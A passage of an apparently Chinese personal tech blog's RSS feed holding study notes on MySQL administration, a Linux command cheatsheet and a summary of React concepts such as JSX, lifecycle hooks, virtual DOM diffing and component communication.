<li>grant file on <em>.</em> to &lsquo;root&rsquo;@&rsquo;%&rsquo;;</li>
</ul>
</li>
<li>赋予所有权限：<code>GRANT ALL PRIVILEGES ON *.* TO 'keanu'@'%' WITH GRANT OPTION;</code></li>
<li>撤销权限: <code>REVOKE INSERT ON database_name.* FROM 'username'@'domain';</code></li>
<li>刷新： <code>flush privileges;</code></li>
</ul>
<h2 id="host-xxxxxxxxxxx-is-not-allowed-to-connect-to-this-mysql-server">Host &lsquo;xxx.xx.xxx.xxx&rsquo; is not allowed to connect to this MySQL server</h2>
<ul>
<li><code>GRANT ALL PRIVILEGES ON *.* TO '用户名'@'%' WITH GRANT OPTION;</code></li>
<li>参考<a href="https://stackoverflow.com/questions/1559955/host-xxx-xx-xxx-xxx-is-not-allowed-to-connect-to-this-mysql-server"  target="_blank" rel="noopener" >Host &lsquo;xxx.xx.xxx.xxx&rsquo; is not allowed to connect to this MySQL server - Stack Overflow</a></li>
</ul>
<h2 id="linux---how-to-bind-mysql-server-to-more-than-one-ip-address">linux - How to bind MySQL server to more than one IP address</h2>
<ul>
<li><code>sudo sed -i 's/127.0.0.1/0.0.0.0/g' /etc/mysql/mysql.conf.d/mysqld.cnf</code></li>
<li>参考<a href="https://serverfault.com/questions/139323/how-to-bind-mysql-server-to-more-than-one-ip-address/139324#139324"  target="_blank" rel="noopener" >linux - How to bind MySQL server to more than one IP address? - Server Fault</a></li>
</ul>
<h2 id="sql-mode">sql mode</h2>
<ol>
<li>查看当前模式: <code>SELECT @@sql_mode;</code></li>
<li>更改配置: <code>SET PERSIST sql_mode=(SELECT REPLACE(@@sql_mode,'ONLY_FULL_GROUP_BY',''));</code></li>
<li>注：
<ul>
<li>直接修改，类似<code>set sql_mode='STRICT_TRANS_TABLES,NO_ZERO_IN_DATE,NO_ZERO_DATE,ERROR_FOR_DIVISION_BY_ZERO,NO_ENGINE_SUBSTITUTION'</code>，重启后配置会还原</li>
<li>报错：<code>Access denied for user 'root'@'localhost' (using password: YES)</code>,权限不够，改为在root用户下执行即可。</li>
</ul>
</li>
</ol>
<h2 id="查看">查看</h2>
<ul>
<li>配置: <code>sudo cat /etc/mysql/mysql.conf.d/mysqld.cnf</code></li>
<li>当前用户: <code>select user();</code></li>
<li>数据库： <code>show databases;</code></li>
<li>表： <code>show tables;</code></li>
<li>变量配置：例：<code>show variables like '%secure%'\G</code></li>
<li><code>my.cnf</code>配置文件：参考<a href="https://blog.csdn.net/yerenyuan_pku/article/details/109919451"  target="_blank" rel="noopener" >Linux下MySQL的配置文件（my.cnf）的存放路径_linux my.cnf 位置-CSDN博客</a></li>
</ul>
<h2 id="导出导入">导出导入</h2>
<ul>
<li>导出：<code>select * from scott.emp into outfile '/data/mysql/emp.txt' fields terminated by ',' optionally enclosed by '&quot;' lines terminated by '\n' ;</code></li>
<li>导入：</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-mysql" data-lang="mysql"><span class="line"><span class="cl"><span class="k">use</span><span class="w"> </span><span class="n">hr</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">create</span><span class="w"> </span><span class="k">table</span><span class="w"> </span><span class="n">hr</span><span class="p">.</span><span class="n">emp</span><span class="w"> </span><span class="k">like</span><span class="w"> </span><span class="n">scott</span><span class="p">.</span><span class="n">emp</span><span class="p">;</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="k">LOAD</span><span class="w"> </span><span class="n">DATA</span><span class="w"> </span><span class="k">INFILE</span><span class="w"> </span><span class="s1">&#39;/data/mysql/emp.txt&#39;</span><span class="w"> </span><span class="k">INTO</span><span class="w"> </span><span class="k">TABLE</span><span class="w"> </span><span class="n">hr</span><span class="p">.</span><span class="n">emp</span><span class="w"> </span><span class="n">FIELDS</span><span class="w"> </span><span class="k">TERMINATED</span><span class="w"> </span><span class="k">BY</span><span class="w"> </span><span class="s1">&#39;,&#39;</span><span class="w"> </span><span class="k">ENCLOSED</span><span class="w"> </span><span class="k">BY</span><span class="w"> </span><span class="s1">&#39;&#34;&#39;</span><span class="w"> </span><span class="k">LINES</span><span class="w"> </span><span class="k">TERMINATED</span><span class="w"> </span><span class="k">BY</span><span class="w"> </span><span class="s1">&#39;\n&#39;</span><span class="w"> </span><span class="p">;</span><span class="w">
</span></span></span></code></pre></div><h2 id="列宽">列宽</h2>
<ul>
<li><code>\G</code>: 选项能够将查询结果以垂直方式展示，而不是默认的水平方式。这种方式下，每个字段值都会单独占据一行，使得每个字段的宽度都能够根据内容自动调整。</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Linux常用命令</title>
      <link>https://ds63.eu.org/2024/linux_cheatsheet/</link>
      <pubDate>Wed, 03 Apr 2024 23:15:49 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/linux_cheatsheet/</guid>
      <description>a cheatsheet of vim commands</description>
      <content:encoded><![CDATA[<h2 id="命令执行">命令执行</h2>
<ul>
<li><code>cmd1;cmd2</code> 首先运行命令1，然后运行命令2</li>
<li><code>cmd1&amp;&amp;cmd2</code> 仅在命令1成功结束时才运行命令2</li>
<li><code>cmd1||cmd2</code> 仅当命令1失败时才运行命令2</li>
<li>执行多次，或循环执行
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1">#for i in {1..5}; do  // while true; do</span>
</span></span><span class="line"><span class="cl">&gt;  <span class="nb">command</span> 
</span></span><span class="line"><span class="cl">&gt;done
</span></span></code></pre></div></li>
</ul>
<hr>
<h2 id="bash">bash</h2>
<ul>
<li>可以利用 TAB 补全查看所有可用的命令选项(连按两次 TAB 键)</li>
<li><code>~/.bashrc</code>是 Bash shell 在每次启动时都会自动执行的一个脚本文件,可以用于设置环境变量、别名和一些其他 Bash shell 配置。
<ul>
<li><code>source /opt/rh/devtoolset-9/enable</code> 更新gcc版本</li>
<li>export PS1=&rsquo;[][\W]$ []&rsquo; 修改PS1变量，让其更加简洁。PS1的默认设置为<code>\[\][\u@\h \W]\$ \[\]</code></li>
</ul>
</li>
</ul>
<hr>
<h2 id="管道">管道</h2>
<h3 id="输出流">输出流</h3>
<ul>
<li>在Unix/Linux系统中，每个进程都有两个默认的输出流，即标准输出（文件描述符1，stdout）和标准错误输出（文件描述符2，stderr）</li>
<li>用<code>|</code>连接两个命令，以前面一个命令的输出作为后面命令的输入</li>
<li><code>strace -f gcc a.c 2&gt;&amp;1 | vim -</code> This will pipe both stdout and stderr to vim. The <code>-</code> argument tells vim to read from stdin.</li>
<li><code>strace pmap 152 |&amp; vim - </code>
<code>|&amp;</code> : This is a shorthand for <code>2&gt;&amp;1 |</code> in bash and zsh. It passes both standard output and standard error of one command as input to another.</li>
<li><code>find / -newermt &quot;2022-12-31 23:00&quot; ! -newermt &quot;2023-01-01 01:00&quot; 2&gt;/dev/null</code>
<ul>
<li>查找 2022年12月31日23:00 到 2023年1月1日1:00 期间发生变动的文件</li>
<li><code>2&gt;/dev/null</code> 丢弃错误信息</li>
</ul>
</li>
</ul>
<hr>
<h2 id="crontab">crontab</h2>
<ul>
<li><code>crontab -e</code></li>
<li>注意：crontab运行的环境并不包含docker命令。需要指定完整的路径。</li>
</ul>
<h2 id="进程">进程</h2>
<h3 id="ps">ps</h3>
<ul>
<li><code>ps</code>: 显示当前终端窗口关联的进程</li>
<li><code>ps aux</code>: 显示所有用户的详细进程列表，包括进程的PID（进程ID）、CPU利用率、内存使用等信息</li>
</ul>
<h3 id="lsof">lsof</h3>
<ul>
<li><code>lsof -i:端口号</code>:查看端口占用情况</li>
<li><code>lsof -nP -iTCP -sTCP:LISTEN</code></li>
<li>
<blockquote>
<p>-n inhibits the conversion of network numbers to host names for network files.  Inhibiting conversion may make lsof run faster.It is also useful when host name lookup is not working properly.</p>
</blockquote>
</li>
<li>
<blockquote>
<p>-P inhibits the conversion of port numbers to port names for network files.  Inhibiting the conversion may make lsof run a little faster.  It is also useful when port name lookup is not working properly.</p>
</blockquote>
</li>
</ul>
<h3 id="others">others</h3>
<ul>
<li><code>kill -9 PID</code>:杀掉对应的进程</li>
</ul>
<hr>
<h2 id="tar"><code>tar</code></h2>
<ul>
<li><code>tar cvf file.tar *.c</code> creates a tar file called file.tar which is the Archive of all .c files in current directory.</li>
<li><code>tar xvf file.tar</code> extracts files from Archives.</li>
<li><code>z</code>tells tar command that creates tar file using gzip 即<code>tar.gz</code></li>
</ul>
<hr>
<h2 id="find">find</h2>
<ul>
<li>
<p>配合grep查找文件内关键字</p>
<p><code>seq 1 10 | xargs -n2 -P5 sh -c 'find / -type f -mindepth $1 -maxdepth $2 -exec grep -inl &quot;keyword&quot; {} 2&gt;/dev/null \;' _</code></p>
</li>
<li>
<p>find查找指定时间段内变动的文件</p>
<p><code>find / -newermt &quot;2022-12-31 23:00&quot; ! -newermt &quot;2023-01-01 01:00&quot; 2&gt;/dev/null</code></p>
</li>
<li>
<p>查找根目录下的所有可执行文件，但排除/usr目录</p>
<p><code>find / -path /usr -prune -o -type f -executable</code></p>
</li>
</ul>
<hr>
<h2 id="查看信息">查看信息</h2>
<ul>
<li>查看架构 <code>arch</code></li>
<li>查看内核版本
<ul>
<li><code>uname -r</code></li>
<li><code>uname -a</code></li>
<li><code>cat /proc/version</code></li>
</ul>
</li>
</ul>
<hr>
<h2 id="杂项">杂项</h2>
<ul>
<li><code>sudo passwd root</code>: 修改root用户的密码</li>
<li><code>su</code> 切换用户，默认为切换到root用户</li>
<li><code>strace</code>  追踪程序系统调用</li>
<li><code>touch</code> 新建文件,内容为空</li>
<li><code>cat</code>
<ul>
<li><code>cat filename</code> To view a single file</li>
<li><code>cat [filename-whose-contents-is-to-be-copied] &gt; [destination-filename]</code> Copy the contents of one file to another file.</li>
<li><code>cat file1 &gt;&gt; file2</code> Cat command can append the contents of one file to the end of another file.</li>
</ul>
</li>
<li><code>sort -nk 6</code> 依第6列升序排列</li>
<li><code>grep</code> (global regular expression)  用于查找文件里符合条件的字符串或正则表达式</li>
<li><code>which</code> 查找安装路径 如<code>which docker</code></li>
<li><code>alias</code>
<ul>
<li><code>alias name='command line'</code></li>
<li>列出目前所有的别名设置 <code>alias</code></li>
<li>持久化: 添加到<code>~/.bashrc</code>即可</li>
</ul>
</li>
<li><a href="https://i.hsfzxjy.site/a-trick-to-retrieve-web-contents-without-curl-or-wget/"  target="_blank" rel="noopener" >Retrieve Contents over HTTP without curl or wget</a></li>
</ul>
<hr>
<h2 id="参考链接">参考链接</h2>
<ul>
<li><a href="https://zgao.top/find%e5%91%bd%e4%bb%a4%e5%9c%a8%e5%ba%94%e6%80%a5%e4%b8%ad%e7%9a%84%e9%ab%98%e6%95%88%e6%8e%92%e6%9f%a5%e6%8a%80%e5%b7%a7"  target="_blank" rel="noopener" >find命令在应急中的高效排查技巧 – Zgao&rsquo;s blog</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>React知识点整理</title>
      <link>https://ds63.eu.org/2024/react_points/</link>
      <pubDate>Fri, 08 Mar 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/react_points/</guid>
      <description>自己学习过程中整理的关于React的知识点</description>
      <content:encoded><![CDATA[<p><strong>本文记录了我学习过程中整理的关于React的知识点,以摘抄为主，绝大部分非原创。未能全部都标明出处，在此致歉</strong></p>
<h2 id="jsx">JSX</h2>
<ul>
<li>一种JavaScript的语法扩展（extension），也在很多地方称之为JavaScript XML，因为看起就是一段XML语法；</li>
<li>为什么React选择使用jsx？
<ul>
<li>React认为渲染逻辑本质上与其他UI逻辑存在内在耦合,他们之间是密不可分，所以React没有将标记分离到不同的文件中，而是将它们组合到了一起，这个地方就是组件（Component）</li>
</ul>
</li>
<li>本质
<ul>
<li>React.createElement(component, props, &hellip;children) 函数的语法糖</li>
<li>所有的jsx最终都会被转换成React.createElement的函数调用</li>
</ul>
</li>
<li>参考: <a href="https://www.cnblogs.com/yaopengfei/p/17299996.html"  target="_blank" rel="noopener" >第二节：jsx语法深度剖析和jsx本质的探究 - Yaopengfei - 博客园</a></li>
</ul>
<hr>
<h2 id="生命周期">生命周期</h2>
<h3 id="there-phases">there phases</h3>
<ol>
<li>mounting: initial render</li>
<li>updating: is triggered when the props are updated or when the state is updated</li>
<li>unmounting: when the component is removed from the DOM</li>
</ol>
<h3 id="methods">methods</h3>
<ul>
<li>Each phase has specific methods responsible for a particular stage in a component&rsquo;s lifecycle. These methods <strong>are technically particular to class-based components</strong> and not intended for functional components.</li>
<li><a href="https://projects.wojtekmaj.pl/react-lifecycle-methods-diagram/"  target="_blank" rel="noopener" >React lifecycle methods diagram</a></li>
<li><code>shouldComponentUpdate</code> -&gt; <code>useMemo</code>、 <code>memo</code></li>
<li>&ldquo;Commit phase&quot;中的三个方法,Can work with DOM, run side effects, schedule updates：
<ol>
<li><code>componentDidMount</code> -&gt; the useEffect hook with the second argument of []</li>
<li><code>componentDidUpdate</code> -&gt; the useEffect hook with the second argument of [state]</li>
<li><code>componentWillUnmount</code> -&gt; <strong>return a function</strong> that runs on unmounting inside the useEffect function,例:</li>
</ol>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">    <span class="nx">useEffect</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;Hello&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s2">&#34;Bye&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">    <span class="p">};</span>
</span></span><span class="line"><span class="cl"><span class="p">},</span> <span class="p">[]);</span>
</span></span></code></pre></div></li>
<li>上面的类比只是类比，不能等同，原因：
<ol>
<li>实际原理不同</li>
<li>执行时机不同</li>
</ol>
</li>
</ul>
<h3 id="参考">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/7132786097922736164"  target="_blank" rel="noopener" >useEffect(fn, []) 不等于 componentDidMount() - 掘金</a></li>
<li><a href="https://retool.com/blog/the-react-lifecycle-methods-and-hooks-explained"  target="_blank" rel="noopener" >The React lifecycle: methods and hooks explained</a></li>
<li><a href="https://juejin.cn/post/6914112105964634119"  target="_blank" rel="noopener" >深入详解React生命周期 getSnapshotBe - 掘金</a></li>
</ul>
<hr>
<h2 id="react-组件的实现">React 组件的实现</h2>
<h3 id="函数组件">函数组件</h3>
<ul>
<li>
<p>概念</p>
<ul>
<li>函数组件是一个普通的 JavaScript 函数，它接受 props 作为参数并返回 React 元素树（JSX）。</li>
<li>React 会调用该函数并将返回的 JSX 虚拟 DOM 转换为真实的 DOM。</li>
<li>现代 React 推荐使用函数组件，因为它更简洁，且能够配合 Hook 使用。</li>
</ul>
</li>
<li>
<p>组件的生命周期</p>
<ul>
<li>虽然函数组件没有显式的生命周期方法，但通过 React Hook 可以为它们注入类似生命周期的功能。</li>
<li>类似 <code>useEffect</code> 可以让函数组件在 <code>componentDidMount</code>、<code>componentDidUpdate</code> 或 <code>componentWillUnmount</code> 这类阶段执行代码。</li>
</ul>
</li>
</ul>
<h3 id="类组件">类组件</h3>
<ul>
<li>概念
<ul>
<li>类组件是基于 <code>ES6 class</code> 的方式定义的，它继承自 <code>React.Component</code>。</li>
</ul>
</li>
<li>组件的生命周期
<ul>
<li>类组件有一系列内置的生命周期方法，如 <code>componentDidMount</code>、<code>componentDidUpdate</code>、<code>componentWillUnmount</code> 等，用于控制组件的生命周期。</li>
</ul>
</li>
</ul>
<h3 id="virtual-dom虚拟-dom和-reconciliation调和">Virtual DOM（虚拟 DOM）和 Reconciliation（调和）</h3>
<ul>
<li>React 中的每个组件返回的 JSX 会被转换为虚拟 DOM。虚拟 DOM 是实际 DOM 的轻量化表示，它的变化不会立即反映在真实的浏览器 DOM 上。</li>
<li>当组件的状态或 props 改变时，React 会创建新的虚拟 DOM，并通过 Diff 算法与旧的虚拟 DOM 进行对比，找出差异，然后仅更新需要更新的部分，这个过程称为 Reconciliation（调和）。</li>
</ul>
<hr>
<h2 id="虚拟dom-virtual-document-object-model">虚拟DOM （Virtual Document Object Model）</h2>
<p>在React中，当状态（state）发生变化时，React并不直接操作真实的DOM来更新页面，而是先在内存中构建一个虚拟DOM树，然后通过比较虚拟DOM树和之前渲染的虚拟DOM树之间的差异，最终计算出最小的DOM操作，并将这些操作批量应用到真实的DOM上。</p>
<h3 id="虚拟dom节点可能包含的详细信息">虚拟DOM节点可能包含的详细信息</h3>
<ol>
<li><strong>type</strong>：节点类型可以是元素节点、文本节点或者组件节点。</li>
<li><strong>props</strong>：节点可能包含一些属性，这些属性描述了节点的特征，比如元素节点的class、id、style等属性，以及事件处理函数等。chidren 是 props 中的一个属性，它存储了当前组件的孩子节点，可以是数组（多个孩子节点）或对象（只有一个孩子节点）</li>
<li><strong>key</strong>：用于在DOM的重渲染过程中标识节点的唯一性，有助于React在进行差异比较时准确找到对应的节点。</li>
<li><strong>ref</strong>：用于获取节点的引用，通常用于在组件中操作DOM节点。</li>
<li><strong>owner</strong>: 所属的Component</li>
<li>其他</li>
</ol>
<h3 id="diff算法">diff算法</h3>
<ul>
<li>比较当前的虚拟DOM树和状态变更将要重新渲染时生成的虚拟DOM树的算法。</li>
<li>关键：
<ol>
<li>深度优先</li>
<li>只对同一级别的元素进行比较</li>
</ol>
</li>
<li>三种diff
<ol>
<li>tree diff : 只是简单进行了删除和创建操作</li>
<li>component diff：
<ul>
<li>使用的是<code>===</code>严格相等。也就是&quot;引用相等性&rdquo;</li>
<li>不同类型 -&gt; 直接替换整个组件下的所有子节点，即销毁原组件，创建新组件。</li>
<li>同一类型 -&gt; 继续判断</li>
</ul>
</li>
<li>element diff: 针对同一层级的所有节点（包括元素节点和组件节点）的 diff 算法
<ul>
<li>三种操作：
<ol>
<li>insert_markup</li>
<li>move_existing</li>
<li>remove_node:</li>
</ol>
</li>
<li>涉及到列表元素顺序的动态变更时，不要用遍历的 index 作为节点的 key 属性值</li>
</ul>
</li>
</ol>
</li>
</ul>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://xie.infoq.cn/article/65e938d933cc751fcc008942d"  target="_blank" rel="noopener" >谈谈虚拟DOM，Diff算法与Key机制_React_beifeng1996_InfoQ写作社区</a></li>
</ul>
<hr>
<h2 id="组件间通信方式">组件间通信方式</h2>
<h3 id="通过-props-传递数据父传子组件通信">通过 Props 传递数据（父传子组件通信）</h3>
<ul>
<li><strong>适用场景</strong>：最常见的方式，适用于父组件向子组件传递数据。</li>
<li><strong>原理</strong>：父组件通过 <code>props</code> 将数据传递给子组件，子组件通过 <code>props</code> 接收并使用这些数据。</li>
</ul>
<h3 id="使用回调函数子传父组件通信">使用回调函数（子传父组件通信）</h3>
<ul>
<li><strong>适用场景</strong>：当子组件需要向父组件传递数据时。</li>
<li><strong>原理</strong>：父组件将一个回调函数作为 <code>props</code> 传递给子组件，子组件调用该函数，将数据传递回父组件。</li>
<li><strong>示例</strong>:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"> <span class="kd">function</span> <span class="nx">Parent</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">   <span class="kr">const</span> <span class="nx">handleData</span> <span class="o">=</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">     <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">   <span class="p">};</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">   <span class="k">return</span> <span class="p">&lt;</span><span class="nt">Child</span> <span class="na">sendData</span><span class="o">=</span><span class="p">{</span><span class="nx">handleData</span><span class="p">}</span> <span class="p">/&gt;;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kd">function</span> <span class="nx">Child</span><span class="p">({</span> <span class="nx">sendData</span> <span class="p">})</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">   <span class="k">return</span> <span class="p">&lt;</span><span class="nt">button</span> <span class="na">onClick</span><span class="o">=</span><span class="p">{()</span> <span class="p">=&gt;</span> <span class="nx">sendData</span><span class="p">(</span><span class="s2">&#34;Hello from child!&#34;</span><span class="p">)}&gt;</span><span class="nx">Send</span> <span class="nx">Data</span><span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;;</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="通过-context-api">通过 Context API</h3>
<ul>
<li><strong>适用场景</strong>：适合深层次的组件树中需要共享的全局状态，避免层层传递 <code>props</code>（例如：主题、语言、用户信息等）。</li>
<li><strong>原理</strong>：创建一个 <code>Context</code>，并使用 <code>Provider</code> 组件来提供状态，任何深层的组件都可以通过 <code>Consumer</code> 或 <code>useContext</code> 钩子来访问。</li>
<li><strong>示例</strong>:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">MyContext</span> <span class="o">=</span> <span class="nx">React</span><span class="p">.</span><span class="nx">createContext</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">Parent</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">value</span> <span class="o">=</span> <span class="s2">&#34;Hello from context!&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">MyContext.Provider</span> <span class="na">value</span><span class="o">=</span><span class="p">{</span><span class="nx">value</span><span class="p">}&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">Child</span> <span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">MyContext.Provider</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">Child</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">contextValue</span> <span class="o">=</span> <span class="nx">React</span><span class="p">.</span><span class="nx">useContext</span><span class="p">(</span><span class="nx">MyContext</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;{</span><span class="nx">contextValue</span><span class="p">}&lt;/</span><span class="nt">div</span><span class="p">&gt;;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="通过-redux-或其他状态管理库">通过 Redux 或其他状态管理库</h3>
<ul>
<li><strong>适用场景</strong>：在需要管理全局状态或复杂状态时，Redux 是一个强大的工具。</li>
<li><strong>原理</strong>：全局状态存储在 Redux 的 <code>store</code> 中，任何组件都可以通过 <code>connect</code> 或 <code>useSelector</code> 访问状态，通过 <code>dispatch</code> 发送 action 来修改状态。</li>
<li><strong>示例</strong>:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">useSelector</span><span class="p">,</span> <span class="nx">useDispatch</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">&#39;react-redux&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">MyComponent</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">count</span> <span class="o">=</span> <span class="nx">useSelector</span><span class="p">(</span><span class="nx">state</span> <span class="p">=&gt;</span> <span class="nx">state</span><span class="p">.</span><span class="nx">counter</span><span class="p">.</span><span class="nx">value</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">dispatch</span> <span class="o">=</span> <span class="nx">useDispatch</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">span</span><span class="p">&gt;{</span><span class="nx">count</span><span class="p">}&lt;/</span><span class="nt">span</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">      <span class="p">&lt;</span><span class="nt">button</span> <span class="na">onClick</span><span class="o">=</span><span class="p">{()</span> <span class="p">=&gt;</span> <span class="nx">dispatch</span><span class="p">({</span> <span class="nx">type</span><span class="o">:</span> <span class="s1">&#39;INCREMENT&#39;</span> <span class="p">})}&gt;</span><span class="nx">Increment</span><span class="p">&lt;/</span><span class="nt">button</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="使用全局事件eventemitter-或-custom-events">使用全局事件（EventEmitter 或 Custom Events）</h3>
<ul>
<li><strong>适用场景</strong>：组件之间没有明显的层级关系，适合不频繁的数据交换。</li>
<li><strong>原理</strong>：可以使用事件触发机制，例如 <code>EventEmitter</code>，让一个组件监听事件，另一个组件触发事件。</li>
<li><strong>示例</strong>:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">EventEmitter</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">&#39;events&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">eventEmitter</span> <span class="o">=</span> <span class="k">new</span> <span class="nx">EventEmitter</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// In one component (sender)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">eventEmitter</span><span class="p">.</span><span class="nx">emit</span><span class="p">(</span><span class="s1">&#39;message&#39;</span><span class="p">,</span> <span class="s1">&#39;Hello World&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// In another component (receiver)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="nx">eventEmitter</span><span class="p">.</span><span class="nx">on</span><span class="p">(</span><span class="s1">&#39;message&#39;</span><span class="p">,</span> <span class="p">(</span><span class="nx">data</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">data</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="p">});</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="url-params--query-strings通过路由传递">URL Params / Query Strings（通过路由传递）</h3>
<ul>
<li><strong>适用场景</strong>：组件之间通过 URL 参数传递信息。</li>
<li><strong>原理</strong>：使用 React Router 来通过 URL 将信息从一个页面传递到另一个页面。可以通过 <code>useParams</code> 或 <code>useLocation</code> 钩子来读取。</li>
<li><strong>示例</strong>:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kr">import</span> <span class="p">{</span> <span class="nx">useParams</span> <span class="p">}</span> <span class="nx">from</span> <span class="s1">&#39;react-router-dom&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">UserProfile</span><span class="p">()</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="p">{</span> <span class="nx">userId</span> <span class="p">}</span> <span class="o">=</span> <span class="nx">useParams</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">  <span class="k">return</span> <span class="p">&lt;</span><span class="nt">div</span><span class="p">&gt;</span><span class="nx">User</span> <span class="nx">ID</span><span class="o">:</span> <span class="p">{</span><span class="nx">userId</span><span class="p">}&lt;/</span><span class="nt">div</span><span class="p">&gt;;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
<h3 id="使用-web-storagelocalstoragesessionstorage">使用 Web Storage（LocalStorage/SessionStorage）</h3>
<ul>
<li><strong>适用场景</strong>：需要在页面刷新或不同组件间共享数据。</li>
<li><strong>原理</strong>：将数据存储在浏览器的 <code>localStorage</code> 或 <code>sessionStorage</code> 中，组件可以通过它们来读取和修改数据。</li>
<li><strong>示例</strong>:
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-jsx" data-lang="jsx"><span class="line"><span class="cl"><span class="kd">function</span> <span class="nx">setData</span><span class="p">()</span> <span class="p">{</span>
